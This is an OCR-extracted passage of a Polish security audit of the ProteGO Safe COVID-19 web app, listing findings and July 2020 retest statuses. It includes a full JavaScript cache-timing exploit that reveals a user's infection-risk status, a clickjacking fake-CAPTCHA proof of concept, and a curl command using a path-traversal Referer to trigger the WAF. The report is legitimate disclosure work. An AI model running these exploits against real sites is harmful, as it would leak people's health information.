Zaleca sie usung¢ z odpowiedzi HTTP nadmiarowe nagtowki, ktére ujawniajg informacje
o wykorzystywanych technologiach.

Ponadto, zaleca sie aktualizacje oprogramowania nginx do najnowszej wersiji.




STATUS PO RETESCIE (09.07.2020)

Punkt nie zostat zweryfikowany.

Podczas realizacji prac nie udato sie odtworzy¢ zaprezentowanego przyktadu. Zgodnie z ustalonymi
informacjami biad prawdopodobnie spowodowany byt serwerami posredniczgcymi, niebedgcymi
wewnetrzng infrastrukturg aplikacji.

STATUS (17.07.2020)

Punkt zostal oznaczony jako ,,nieaktualne”.

Punkt dotyczyt innego elementu sieciowego (nie zwigzanego ze srodowiskiem aplikacji).



[IMPLEMENTED] [INFO] PROTEGO_SAFE-API-GAT-003: Nieprawidtowo
wdrozony nagtowek Strict-Transport-Security

oriIs

W odpowiedziach aplikacji zidentyfikowano niepoprawnie wdrozony nagtéwek HTTP: Strict-
Transport-Security (HSTS), z uwagi na zbyt krotki czas w ,max-age”.

Wprowadzenie HSTS wymusza na przeglgdarce stosowanie szyfrowanego potgczenia HTTPS we
wszystkich odwotaniach do domeny aplikacji. Nawet reczne wpisanie nazwy protokotu ,http” w pasku
adresu nie spowoduje wystania nieszyfrowanych pakietow.

Punkt nie jest opisem podatnosci, a jedynie zaleceniem, ktérego wdrozenie moze zwiekszy¢ ogolny
poziom bezpieczenstwa rozwigzania.

Wiecej informaciji:

e https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security

e https://sekurak.pl/hsts-czyli-http-strict-transport-security/

LOKALIZACIA

e https://gat.safesafe.app/getAccessToken

e https://exp.safesafe.app/*

REKOMENDACIA

W odpowiedziach HTTP serwera powinien znajdowac sie nagtéwek:

Strict-Transport-Security: max-age=31536000 ‘

Alternatywnie: istnieje mozliwos$¢ zdefiniowana nagtéwka HSTS réwniez dla wszystkich poddomen:

Strict-Transport-Security: max-age=31536000; includeSubDomains ‘

Ponadto, istnieje mozliwosé skorzystania z tzw. listy preload, ktéra domysinie zapisana jest w
zrodtach popularnych przegladarek WWW. Powoduje to, ze przegladarka uzytkownika, ktory
pierwszy raz nawigzuje potgczenie z aplikacjg, od razu wymusi wykorzystanie szyfrowanego,
bezpiecznego kanatu komunikacji.

Strict-Transport-Security: max-age=31536000; preload

Wiecej informaciji:

e https://hstspreload.org/

e https://www.chromium.org/hsts

e https://cheatsheetseries.owasp.org/cheatsheets/HTTP Strict Transport Security Cheat S
heet.html




STATUS PO RETESCIE (09.07.2020)

Zalecenie zostalo wdrozone.



[PARTIALLY IMPLEMENTED] [INFO] PROTEGO_SAFE-API-GAT-004:
Wdrozenie nagtéwkow odpowiadajgcych za Cache aplikac;ji

oriIs

W odpowiedziach aplikacji nie zidentyfikowano wdrozonych nagtéwkéw, kiore odpowiadajg za
uniemozliwienie zapisywania danych zwigzanych z aplikacjg trwale w pamieci tymczasowej
przegladarki. Do takich nagtéwkow HTTP nalezy zaliczyc¢:

e Cache-Control
e Pragma

e Last-Modified
e Expires

Cache-Control jest nagtdowkiem zawierajgcym okreslone dyrektywy dla mechanizmu cachowania,
ktore majg instruowac przegladarke: czy, jak i ktore elementy powinny zosta¢ przechowywane w
pamieci tymczasowej. Pomimo, iz czesé dyrektyw moze byé uzywana rowniez w zapytaniu HTTP,
to zaleca sie jednak gtéwne skupienie na odpowiedzi HTTP.

Pragma w przypadku wykorzystania dyrektywy "no-cache" oznacza te samg instrukcje co "Cache-
Control: no-cache" - czyli wymusza na przeglgdarce, aby przed pobraniem kopii strony z cache, byto
wystane zapytanie do serwera i tym samym pobranie aktualnej wersji — uniemozliwia to zapisanie
danych w cache przegladarki.

Last-Modified zawiera doktadng date i czas w ktdrym ostatnio zmodyfikowano dany zasob sieciowy
- wartos¢ powinna zawsze odpowiadac aktualnemu czasowi.

Expires zawiera date, czas lub wartos¢, ktora okresla kiedy odpowiedz serwera nie jest juz wazna.
Czesto wykorzystywane wartosci w postaci daty przesziej albo "0" oznaczajg, ze zasob nie jest juz
aktualny.

Punkt nie jest opisem podatnosci, a jedynie zaleceniem, ktérego wdrozenie moze zwiekszy¢ ogdliny
poziom bezpieczenstwa rozwigzania.

Wiecej informacji dotyczgcych wdrozenia nagtéwkow cachujgcych mozna znalez¢ pod adresem:
e https://wiki.owasp.org/index.php/Testing for Browser cache weakness (OTG-AUTHN-

006)
e https://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html

e https://cwe.mitre.org/data/definitions/524.html

e https://cwe.mitre.org/data/definitions/525.html

LOKALIZACIA

e https://gat.safesafe.app/getAccessToken




e https://exp.safesafe.app/*

REKOMENDACIA

Zaleca sie rozwazenie wdrozenia ponizszych nagtowkow:

Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0

Pragma: no-cache

Last-Modified: {obecny_czas} GMT

Expires: Tue, 07 Jul 2001 07:00:00 GMT

Wiecej informaciji:

e https://developers.google.com/web/fundamentals/performance/optimizing-content-

efficiency/http-caching?hi=pl

STATUS PO RETESCIE (09.07.2020)

Zalecenie zostalo czesciowo wdrozone.

Rekomendacje wdrozono jedynie dla ,gat.safesafe.app”.
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[PARTIALLY IMPLEMENTED] [INFO] PROTEGO_SAFE-API-GAT-005: Brak
ochrony przed atakiem Clickjacking

oriIs

Analiza wykazata, iz aplikacja nie posiada zabezpieczen przed atakiem Clickjacking. Atak polega na
umieszczeniu strony WWW przez atakujgcego w plywajgcej ramce (iframe), ktéra poprzez
przykrycie pewnych elementéw i funkcjonalnosci strony moze spowodowaé wykonanie
nieautoryzowanej operacji przez ofiare ataku.

Punkt nie jest opisem podatnosci, a jedynie zaleceniem, ktérego wdrozenie moze zwiekszy¢ ogdliny
poziom bezpieczenstwa rozwigzania.

Wiecej informaciji:

e https://owasp.org/www-community/attacks/Clickjacking

e https://owasp.org/www-community/attacks/Cross Frame Scripting

e https://sekurak.pl/nietypowe-metody-wykorzystywane-w-atakach-phishingowych/

LOKALIZACIA

https://gat.safesafe.app/getAccessToken

https://exp.safesafe.app/*

REKOMENDACIA

Zaleca sie, aby aplikacja dla kazdej strony ustawiata nagtéwek ,X-Frame-Options”, wybierajgc jedna
z ponizszych opcji:

a) Catkowite zablokowanie strony w ramce:

X-Frame-Options: DENY ‘

b) Mozliwo$¢é umieszczania strony w ramce wytgcznie przez domene docelowa:

X-Frame-Options: SAMEORIGIN ‘

Wiecej informaciji:

e https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking Defense Cheat Sheet.html

e https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options

STATUS PO RETESCIE (09.07.2020)

Zalecenie zostalo czesciowo wdrozone.

Rekomendacje wdrozono jedynie dla ,gat.safesafe.app”.



[IMPLEMENTED] [INFO] PROTEGO_SAFE-API-GAT-006: Wdrozenie
nagtéwka X-Content-Type-Options

oriIs

W odpowiedziach aplikacji nie zidentyfikowano wdrozonego nagtéwka X-Content-Type-Options.

Nagtowek ten chroni przed atakami polegajgcymi na tzw. MIME-sniffingu, czyli odgadywaniu przez
przegladarki webowe typu MIME odpowiedzi na podstawie tresci odpowiedzi zamiast bazowac na
nagtowku content-Type. W efekcie moze to prowadzi¢ do wymuszenia na przeglgdarce zatadowania
zasobu jako HTML, nawet jesli jego typ to np. application/json. W efekcie wykonany moze zostac
atak XSS.

Punkt nie jest opisem podatnosci, a jedynie zaleceniem, ktérego wdrozenie moze zwiekszy¢ ogdliny
poziom bezpieczenstwa rozwigzania.

Wiecej informaciji:

1. https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options

LOKALIZACIA

https://gat.safesafe.app/getAccessToken

REKOMENDACIA

We wszystkich odpowiedziach serwera powinien zosta¢ dodany nagtéwek:

X-Content-Type-Options: nosniff

STATUS PO RETESCIE (09.07.2020)

Zalecenie zostalo wdrozone.




[NOT VERIFIED] [INFO] PROTEGO_SAFE-API-GAT-007: Dostep do aplikacji
z anonimowe;j sieci TOR

oriIs

Aplikacja pozwala na korzystanie z niej uzytkownikom sieci anonimizujgcej TOR. Sie¢ TOR jest
powszechnie uzywana do maskowania swojej tozsamo$ci, czesto bywa uzywana przez
cyberprzestepcow do przeprowadzania atakéw na systemy IT. Zablokowanie dostepu z sieci TOR
nie wyeliminuje atakow na aplikacje jednak pomoze zmniejszyc¢ ilos¢ przeprowadzanych atakow. Z
uwagi na fakt, ze sie¢ TOR moze postuzy¢ do przesytania anonimowych informacji od uzytkownikow,
nalezy rozwazy¢ umieszczenie na stronie informujgcej o zablokowaniu dostepu z sieci TOR
komunikatu o danych kontaktowych lub o umieszczeniu na niej formularza kontaktowego dla
uzytkownikow.

LOKALIZACIA

https://gat.safesafe.app/*

https://exp.safesafe.app/*

REKOMENDACIA

Zaleca sie, zablokowanie dostepu do aplikacji z sieci TOR.

STATUS PO RETESCIE (09.07.2020)

Punkt nie byt weryfikowany.

Zgodnie z otrzymang informacjg od zespotu Klienta, rekomendacje nie zostaty wdrozone z uwagi na
zatozenia biznesowe.



Podatnosci w aplikacji webowej (safesafe.app)
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[NOT APPLICABLE] [MEDIUM] PROTEGO_SAFE-WEB-001: Mozliwos¢
wycieku statusu ryzyka infekcji uzytkownika do zewnetrznych domen

oriIs

Aplikacja ProteGO Safe po wypetnieniu przez uzytkownika formularza dotyczacego potencjalnych
objawéw wirusa wyswietla podsumowanie w postaci grupy ryzyka, do ktérej ten sie kwalifikuje (niskie
ryzyko infekcji, Srednie ryzyko infekcji i wysokie ryzyko infekcji).

W aplikacji zidentyfikowano biad bezpieczenstwa pozwalajgcy na doprowadzenie do wycieku tych
danych do zewnetrznych stron bez jakiejkolwiek interakcji uzytkownika; warunkiem jest jedynie
przejscie na strone przygotowang przez napastnika.

Przyktadowa strona wykorzystujgca atak zostata umieszczona pod adresem:

e http://sekurak.securitum.com/prtg-91a9f839/leak-3506bc16/ (kod nalezy uruchomi¢ w
przegladarce Chrome)

o000 4> ProteGO Safe X + L @ sekurak.securitum.com/prtg-¢ X =+

e @ safesafe.app w @ Incognito (2) H & > C ® Niezabezpi| sek.. @ ¥ @ Incognito (2)

L';:}_I ProteGO Safe

W wyniku ataku, ustalono, Ze status
uzytkownika to: Srednie ryzyko

asdasd, . .
infekcji

przeanalizowali$my Twoje
odpowiedzi. Wynik testu
05-2020 kwalifikuje Cie
grupy: Srednie ryzyko
infekgcji.

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Ofiara ataku musi przej$¢ na strone przygotowang przez napastnika.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

W ataku wykorzystywany jest fakt, ze razem z wysSwietleniem informacji o ryzyku infekciji,
wyswietlany jest tez obrazek z ,buzka” reprezentujgcg dany poziom ryzyka. Obrazki tadowane sg
z nastepujgcych adreséw:

e https://safesafe.app/static/media/buzka-czerwona.38523005.svg
e https://safesafe.app/static/media/buzka-niebieska.8667a571.svg
e https://safesafe.app/static/media/buzka-zielona.1€566248.svg

e https://safesafe.app/static/media/buzka-zolta.83ae8ffa.svg

Gdy uzytkownik (ktory wypetnit wczesniej formularz) wchodzi na strone safesafe.app, wéwczas
zatadowany zostaje doktadnie jeden z tych obrazkéw, ktéry przegladarka umieszcza w pamigci
cache. Clou ataku bedzie polegato na tym, ze z poziomu zewnetrznej strony bedzie mozna
stwierdzi¢, ktory z obrazkéw zostat zatadowany z cache na podstawie czasu odpowiedzi.



Ponizej pokazano fragment zrzutu ekranowego z przegladarki Chrome dla uzytkownika, ktérego
ryzyko infekcji zostato ocenione na poziomie $rednim (zétta ,buzka”).

| buzka-czerwona.38523005.svg 200 svg+xml (index):34 718B 39ms
| buzka-niebieska.8667a571.svg 200 svg+xml (index):34 496B 48 ms
| buzka-zielona.1e566248.svg 200 svg+xml (index):34 497B 42ms
| buzka-zolta.83ae8ffa.svg 200 svg+xml (index):34 (disk cache) 1ms |

Czasy tadowania wszystkich trzech pierwszych obrazkéw wynoszg srednio 43ms, natomiast dla
obrazka zatadowanego z cache zaledwie 1ms. Im wolniejsze jest tgcze uzytkownika, tym ta roznica
bedzie wyrazniejsza.
Proof-of-Concept ataku sktada sie z trzech krokow:

1. Upewnienie sie, ze w cache przegladarki nie znajduje sie zaden z czterech obrazkéw,

2. Zatadowanie strony safesafe.app, by w cache przegladarki znalazt sie doktadnie jeden z
czterech obrazkéw,

3. Proba zatadowania wszystkich czterech obrazkéw. Jesli jeden z nich ma wyraznie krétszy
czas zatadowania od pozostatych, oznacza to, ze zostat pobrany z lokalnego cache.

Przed przygotowaniem wiasciwego ataku nalezato jednak rozwigzaé jeszcze jeden problem.
Aplikacja safesafe.app korzysta z mechanizmu przeglagdarkowego Service Workers do serwowania
tresci. Oznacza to, ze nie korzysta z pamieci cache wbudowanej w przeglgdarke. W trakcie testéw
zauwazono jednak, ze kod Service Workers jest catkowicie pomijany, jesli ztosliwy kod jest
zaserwowany z tzw. insecure context’, co w najprostszy sposéb mozna osiggnaé tadujgc go z
protokotu http.

By zrealizowac¢ pierwszy krok ataku, nalezy wykona¢ inwalidacje wpiséw w cache dla wszystkich
czterech obrazkow. Jednym ze znanych sposobdw? na realizacje tego celu jest wykonanie zapytania
do cache’owanego zasobu i upewnienie sie, ze serwer zwrdci btad (tj. odpowie kodem z serii 400
lub 500). Aplikacja safesafe.app jest chroniona przez infrastrukture CloudFlare, na ktorej dziata
wbudowane rozwigzanie typu WAF (Web Application Firewall), ktére odpowiada kodem 403, jesli
wykryje w zapytaniu jakgkolwiek potencjalng probe ataku. Przyktadowo, jesli w nagtowku Referer
znajdzie sie cigg znakdw charakterystyczny dla ataku Path Traversal: "/etc/passwd”, w odpowiedzi
zostanie zwrdocony bfad wskazujgcy, ze jest to potencjalna proba ataku. Mozna to potwierdzi¢
wykonujgc w konsoli polecenie curl:

$ curl https://safesafe.app/ -H 'Referer: https://sekurak.pl/etc/passwd' -v 2>/dev/stdout |grep
HTTP

> GET / HTTP/1.1

< HTTP/1.1 403 Forbidden

W samym ataku zostato wykorzystane History API, za pomoca ktérego do adresu URL ztosliwej
strony dopisany zostaje cigg znakdw /etc/passwd, a nastepnie zatadowane zostajg poszczegodlne
obrazki. Poniewaz adres strony jest nastepnie umieszczany w nagtéwku Referer przez przeglgdarke,
serwer odpowie kodem 403 na wszystkie zapytania i spowoduje inwalidacje cache’u.

history.replaceState(null, null, '?/etc/passwd');
for (let smiley of smileys) {
const url = “https://safesafe.app/${smiley}";

1 Secure Contexts w przegladarkach: https://developer.mozilla.org/en-US/docs/Web/Security/Secure Contexts
2 Inwalidacja cache: https://github.com/xsleaks/xsleaks/wiki/Browser-Side-Channels#cache-and-error-events




await fetch(url, {
mode: 'no-cors',
cache: 'reload',

1
}
_| buzka-czerwona.38523005.svg 403 fetch (index):51 14kB 72ms |
_| buzka-niebieska.8667a571.svg 403 fetch (index):51 1.3kB 40ms |
_| buzka-zielona.1e566248.svg 403 fetch (index):51 1.3kB 59ms
_| buzka-zolta.83ae8ffa.svg 403 fetch (index):51 1.3kB 39ms

W kolejnym kroku z adresu URL usuwany jest cigg znakow /etc/passwd (by nie otrzymywac juz wiecej
btedéw CloudFlare), a strona safesafe.app zostaje zatadowana w elemencie <iframe>, by wymusic¢
na przegladarce umieszczenie w pamieci cache tylko tego obrazka, ktéry powigzany jest z obecnym
statusem uzytkownika:

history.replaceState(null, null, '?');
await waitForIframe('https://safesafe.app');

Po zatadowaniu strony, otwierane sg kolejne obrazki w celu pdzniejszego zmierzenia czasu ich
tadowania:

for (let smiley of smileys) {
const url = ~${ORIGIN}/${smiley}" ;
await waitForImage(url);
}
const times = window.performance.getEntries()
.filter(e => e.name.endsWith('.svg'))
.map(e => ({
url: e.name,
time: e.duration

1)

Nastepnie liczony jest sredni czas tadowania poszczegodinych obrazkéw i sprawdzane jest, czy
doktadnie jeden z czasow jest nizszy niz 40% S$redniego czasu. Jesli tak sie dzieje, to udato sie
ustali¢, jaki jest status uzytkownika. Atak moze sie jednak zakonczyC niepowodzeniem, jesli
uzytkownik nigdy nie byt wczesniej na stronie safesafe.app lub pracuje na bardzo niestabilnym tgczu
internetowym.

Petny kod exploita zostat umieszczony ponizej pod srodnagtéwkiem ,Kod skryptu atakujgcego”.

LOKALIZACIA

Aplikacja webowa ProteGo Safe: https://safesafe.app/

REKOMENDACIA

Zaleca sie umieszczenie zawartosci ,buziek” w URL-ach typu data:; np. zamiast tadowaé obrazek
20ity z adresu https://safesafe.app/static/media/buzka-zolta.83ae8ffa.svg, nalezy zaladowac go z
adresu: data:image/svg+xml,%0A%3C%3Fxm1%20version%3D%221.0%22%20(..). Dzieki takiemu rozwigzaniu
nie bedzie mozliwosci ustalenia, czy ktory$ z obrazkow znalazt sie w cache przegladarki.




KOD SKRYPTU ATAKUJACEGO

<!DOCTYPE html>
<meta charset="utf-8">
<body>
<span id=status></span>
<script>
const ORIGIN = "https://safesafe.app”;
const smileys = [
"static/media/buzka-czerwona.38523005.svg",
"static/media/buzka-niebieska.8667a571.svg",
"static/media/buzka-zielona.1e566248.svg",
"static/media/buzka-zolta.83ae8ffa.svg",

15

function waitForIframe(src) {
return new Promise(resolve => {
const iframe = document.createElement('iframe');
iframe.onload = () => {
resolve();
iframe.remove();

}s
iframe.sandbox = 'allow-same-origin allow-scripts’;
iframe.src = src;
iframe.style.visibility = 'hidden’;
document.body.appendChild(iframe);

3

function waitForImage(url) {
return new Promise(resolve => {
const img = new Image();
img.onload = resolve;
img.src = url;
3
}

async function exploit() {
if (window.isSecureContext) {
console.warn( 'isSecureContext returns true; the exploit will most likely fail');
location.protocol = 'http’;
return;

// We start with invalidating cache for smileys.
// We abuse CloudFlare WAF, which returns 403 Forbidden
// if there's a /etc/passwd in the Referer header.
history.replaceState(null, null, '?/etc/passwd');
for (let smiley of smileys) {

const url = ~${ORIGIN}/${smiley}" ;




await fetch(url, {
mode: 'no-cors',
cache: 'reload’,
1)
}

// Given that cache is now invalidated, we load
// safesafe.app in iframe to let it cache only
// the smiley of the current user.
history.replaceState(null, null, '?');

await waitForIframe(ORIGIN);

for (let smiley of smileys) {
const url = ~${ORIGIN}/${smiley}" ;
await waitForImage(url);
}
const times = window.performance.getEntries()
.filter(e => e.name.endsWith('.svg'))
.map(e => ({
url: e.name,
time: e.duration

1)

// We measure average time of loading smileys.

// The idea is that all SVG files should load

// roughly in the same duration. However, if only
// one is served from cache, then its load time is
// significantly lower than all other entries.

//

// From that we can conclude that the smiley loaded
// from cache represents user's status.

const sum = times.map(e => e.time).reduce((a,b) => a+b, 9);
const average = sum / times.length;

const THRESHOLD = 0.4

const likelylLoadedFromCache = times.filter(e => e.time < THRESHOLD * average);
console.log(times);

const STATUSES = {

‘zielona': 'Niskie ryzyko infekcji',
'zolta': 'Srednie ryzyko infekcji',
'czerwona': 'Wysokie ryzyko infekcji’,
'niebieska’: 'Stan nieokreslony’

3
let status;

if (likelyLoadedFromCache.length === 1) {
// Successful exploit; we identified a single entry
// loaded from cache. Now we know what status the user has.
const url = likelylLoadedFromCache[@].url;
const color = url.match(/buzka-(\w+)\./)[1];
status = “Status uzytkownika to: ${STATUSES[color]}";

} else {
status

'Nie udato sie wiarygodnie okreslic¢ statusu uzytkownika.';




}

document.getElementById('status').textContent = status;
}

exploit();

</script>
</body>

STATUS PO RETESCIE (09.07.2020)

Podatnosé¢ zostata wyeliminowana.

Nie ma mozliwosci wykonania ataku wedtug scenariusza opisanego w sekcji ,Szczegoty techniczne”
po dodaniu nagtowka:

‘ X-Frame-Options: SAMEORIGIN

(Patrz: podatnos¢ PROTEGO_SAFE-WEB-002, sekcja ,Status po retescie”.)

Nalezy jednak nadmienic, ze jesli bedzie mozliwe otworzenie strony w nowej ramce i wymuszenie,
zeby nie korzystata ona z service workera, podatnos¢ nadal bedzie mozliwa do wykorzystania.

STATUS (17.07.2020)

Punkt zostal oznaczony jako ,,nieaktualne”.

Zgodnie z otrzymang informacjg od zespotu Klienta:

Aplikacja webowa zostata w cato$ci wdrozona w aplikacjach mobilnych w wersji lokalnej, nie
odwotujgcej sie do aplikacji wskazanej w domenie safesafe.app i pod tym adresem zostata
umieszczona strona HTML wraz z informacjg o projekcie i linkami do sklepéw Google Play i Apple
App Store, gdzie uzytkownik moze pobrac aplikacje na swdj telefon. Podatno$c nie jest w takiej
sytuacji dtuzej aktualna.




oris

Aplikacja safesafe.app nie ustawia w odpowiedzi nagtéwka X-Frame-0Options, narazajgc uzytkownika
na atak Clickjacking. Atak polega na umieszczeniu strony przez atakujgcego w elemencie <iframe>,
w wyniku czego ofiara moze wykonaé niezamierzone przez siebie akcje.

W przypadku aplikacji safesafe.app atak mogtby zostaé takze wykorzystany w sposob
socjotechniczny do wydobycia informacji o obecnym statusie zarazenia poprzez wystawienie
fatszywej CAPTCHA. Przyktadowy atak zostat zahostowany pod adresem:

e https://sekurak.securitum.com/prtg-91a9f839/captcha-c86498e2/

& C @ sekurak.securitum.com

CAPTCHA

Aby wysta¢ formularz, zaznacz, jaki obrazek widzisz powyzej.

v Niebieski samochdd J
Fioletowy dom

Zielona twarz
Czerwona twarz

Wiecej informaciji o ataku:
e https://en.wikipedia.org/wiki/Clickjacking

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Przekierowanie uzytkownika na strone przygotowang przez atakujgcego.

securnTum +48 (12) 361 3337 www.securitum.pl

securitum@securitum.pl www.sekurak.pl
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SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Atak polega na umieszczeniu na stronie elementu <iframe> wskazujgcego do domeny safesafe.app.
Przyktadowy kod:

<!DOCTYPE html>
<meta charset="utf-8">
<title>ProteGO Safe CAPTCHA</title>
<style>
iframe {
position: relative;
left: -247px; top: -119px;
width: 100%; height: 2000px;
border: 0;
}
#container {
width:400px; height:142px;
overflow: hidden; border: solid 3px;
}
</style>
<h1>CAPTCHA</h1>
<div id=container>
<iframe src=https://safesafe.app></iframe>
</div>
<p>Aby wystaé¢ formularz, zaznacz, jaki obrazek widzisz powyzej.</p>
<select>
<option>Niebieski samochéd</option>
<option>Fioletowy dom</option>
<option>Pomaranczowa twarz</option>
<option>Zielona twarz</option>
<option>Czerwona twarz</option>
</select>

LOKALIZACIA

Aplikacja webowa ProteGo Safe: https://safesafe.app/

REKOMENDACIA

Zaleca sie doda¢ nagtéwek x-Frame-Options: DENY do wszystkich odpowiedzi HTTP. Nalezy w tym
celu odpowiednio zmodyfikowac plik firebase.json:

o https://ffirebase.google.com/docs/hosting/full-config?hl=pl#headers

STATUS PO RETESCIE (09.07.2020)

Podatnosé¢ zostata wyeliminowana.

Aplikacja zwraca nagtowek:

X-Frame-Options: SAMEORIGIN




STATUS (17.07.2020)

Punkt zostal oznaczony jako ,,nieaktualne”.

Zgodnie z otrzymang informacjg od zespotu Klienta:

Aplikacja webowa zostata w cato$ci wdrozona w aplikacjach mobilnych w wersji lokalnej, nie
odwotujgcej sie do aplikacji wskazanej w domenie safesafe.app i pod tym adresem zostata
umieszczona strona HTML wraz z informacjg o projekcie i linkami do sklepéw Google Play i Apple
App Store, gdzie uzytkownik moze pobrac aplikacje na swdj telefon. Podatno$c nie jest w takiej
sytuacji dtuzej aktualna.




[NOT APPLICABLE] [MEDIUM] PROTEGO_SAFE-WEB-003: ,Test oceny
ryzyka” jako funkcjonalnosc online

oriIs

Aplikacja podczas ,Testu oceny ryzyka” korzysta z zewnetrznego API. Poufne dane sg przesytane
miedzy przegladarkg a serwerem zewnetrznym.
Istniejg nastepujgce ryzyka z tym zwigzane:

e wstrzykniecie dodatkowych pytan (form injection) — w przypadku analizowanej aplikaciji
mozliwe jest wstrzykniecie tylko pytan zamknietych, tj. polegajgcych na wybraniu jednej lub
wielu z kilku gotowych odpowiedzi (bez mozliwosci wstrzykniecia pytan otwartych, w ktérych
uzytkownik miatby wpisac tekst),

e ograniczenie ustugi — w przypadku duzej popularnosci aplikacji ze wzgledu na zapisy
licencyjne liczba odwotan do APl moze zostaé ograniczona®,

e odmowa ustugi (DoS) — w przypadku ataku DoS/DDoS na APl spowoduje to réwniez
uniemozliwienie korzystania z funkcji samooceny w aplikaciji.

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Przejecie lub zaktocenie dziatania zewnetrznego API.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

1. Nalezy przejs¢ do: ,Test oceny ryzyka” https://safesafe.app/risk-test

2. Nacisngc¢ ,Wykonaj TEST oceny ryzyka”

3. Zostanie wystane zapytanie do API:

POST /covidl9/diagnosis HTTP/1.1

Host: api.safesafe.app

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0OS X 10.15; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: */*

Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate

Content-Type: application/json;charset=utf-8
Content-Length: 39

Model: infermedica-pl

Origin: https://safesafe.app

Referer: https://safesafe.app/diagnosis
Connection: close

{"sex":"female","age":21,"evidence":[]}

4. Odpowiedz od API zawiera pytania wyswietlane w ankiecie:

HTTP/1.1 200 OK
Date: Mon, 11 May 2020 13:52:22 GMT

3 ,The use of COVID-19 endpoints, however, may be limited up to 1000 API calls per hour.”
https://developer.infermedica.com/terms-of-service




Content-Type: application/json
()

{"conditions":[],"extras":{},"question":{"explanation":null,"extras":{},"items":[{"choices":[{"id
":"present","label":"Tak"},{"id":"absent","label":"Nie"}], "explanation":"Przewlek\u@l42e choroby
p\u@l42uc to zaburzenia, kt\u@of3re wp\u@ld42ywaj\u@le5 na p\u@l42uca i inne cz\u@119\u@1l5bci
uk\u@142adu oddechowego. Choroby: przewlek\u@l42a obturacyjna choroba p\u@l42uc, umiarkowana i
ci\u@119\u@l7cka astma oraz inne choroby p\u@l42uc.","id":"p_16","name":"Zdiagnozowana
przewlek\u@l42a choroba
p\u@l42uc"},{"choices":[{"id":"present","label":"Tak"},{"id":"absent", "label":"Nie"}], "explanatio
n":"Niewydolno\u@15b\u@107 serca to przewlek\u@l42a, post\u@ll9puj\u@l@5ca choroba, w kt\ueof3rej
serce nie jest w stanie skutecznie pompowa\u@107 krew w zwi\u@105zku np. z chorob\u@105

wie\u@144cow\u@105 czy nadcil\u@l5bnieniem.","id":"p_17","name":"Zdiagnozowana
niewydolno\u@15b\u@107 serca"}, (..)

Pytania sg widoczne na stronie:

e 5] ProteGO Safe X |+

(——) C' | © & nttps:/safesafe.app/diagnosis **+| @ » =

Zaznacz odpowiedzi, ktore cie
dotycza

Zdiagnozowana przewlekta
O
choroba ptuc

Zdiagnozowana niewydolnos¢
serca

LOKALIZACIA

Test oceny ryzyka aplikacji ProteGo Safe: https://safesafe.app/risk-test

REKOMENDACIA

Zaleca sie przygotowanie , Testu oceny ryzyka” w formie offline, przetwarzanej wytacznie po stronie
klienta (przegladarki), bez koniecznosci komunikacji z zewnetrznym API.

STATUS PO RETESCIE (09.07.2020)

Podatnosé¢ nie zostata wyeliminowana.

Zapytanie z pkt 3 sekcji ,Szczegoty techniczne” jest wysytane do API:

‘Host: api-v4.safesafe.app

secunTum +48 (12) 361 3337 www.securitum.pl
securitum@securitum.pl www.sekurak.pl
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STATUS (17.07.2020)

Punkt zostal oznaczony jako ,,nieaktualne”.

Zgodnie z otrzymang informacjg od zespotu Klienta:

Aplikacja webowa zostata w cato$ci wdrozona w aplikacjach mobilnych w wersji lokalnej, nie
odwotujgcej sie do aplikacji wskazanej w domenie safesafe.app i pod tym adresem zostata
umieszczona strona HTML wraz z informacjg o projekcie i linkami do sklepéw Google Play i Apple
App Store, gdzie uzytkownik moze pobrac aplikacje na swdj telefon. Podatno$c nie jest w takiej
sytuacji dtuzej aktualna.




[NOT APPLICABLE] [LOW] PROTEGO_SAFE-WEB-004: Brak zabezpieczenia
informacji przechowywanych w Local Storage

oriIs

W trakcie realizacji testow zaobserwowano, iz poufne informacje sg przechowywane w Local
Storage przegladarki. Taka implementacja umozliwia odczyt danych przez JavaScript. Atakujacy,
ktéry znajdzie, np. podatnos¢ typu Cross-Site Scripting (XSS) bedzie w stanie odczytac
przechowywane dane. Ponadto, dane bedg dostepne w przypadku uzyskania bezposredniego
dostepu do przegladarki.

Wiecej informaciji:

e https://cheatsheetseries.owasp.org/cheatsheets/HTML5 Security Cheat Sheet.html

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Dostep do przegladarki ofiary lub wykrycie podatnosci XSS.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

1. Przej$¢ do aplikaciji.
2. Wypetnié podstawowe dane.
3. Wyswietli¢ zawartosc¢ localStorage:

> document.domain
"safesafe.app"

» localStorage

» Storage { "persist:root": "{\"app\":\"{\\\"onboardingFinished\\\":false,\\\"startScreenShowed\\\":true}
\",\"diagnosis\":\"{\\\"evidence\\\": [],\\\"inProgress\\\":false,\\\"isLoading\\\":false,\\\"isResetting
\\\":true,\\\"question\\\":{},\\\"allQuestions\\\": [J}\",\"triage\":\"{\\\"isLoading\\\": false,
\\\"triageLeve \\\":\\\"isolation_ambulance\\\",\\\"labe\\\\":\\\"Zadzwori pod numer alarmowy. Unikaj
kontaktu z innymi osobami.\\\",\\\"description\\\":\\\"Twoje objawy sa bardzo powazne i moga wskazywac na
zakazenie koronawirusem (choroba COVID-19).\\\",\\\"serious\\\": [{\\\"common_name\\\":\\\"Kaszel\\\",\\\"id
ATV, W\ is_emergency\\\":false, \\\"name\\\" :\\\"Kasze 1\\\"}, {\\\" common_name
\\\":\\\"Przyspieszony oddech\\\",\\\"id\\\":\\\"s_13\\\",\\\"1is_emergency\\\":true,\\\"name
\\\":\\\"Przyspieszony oddech\\\"}]1}\",\"user\":\"{\\\"age\\\":21,\\\"bloodGroup\\\":\\\"nie wiem\\\",

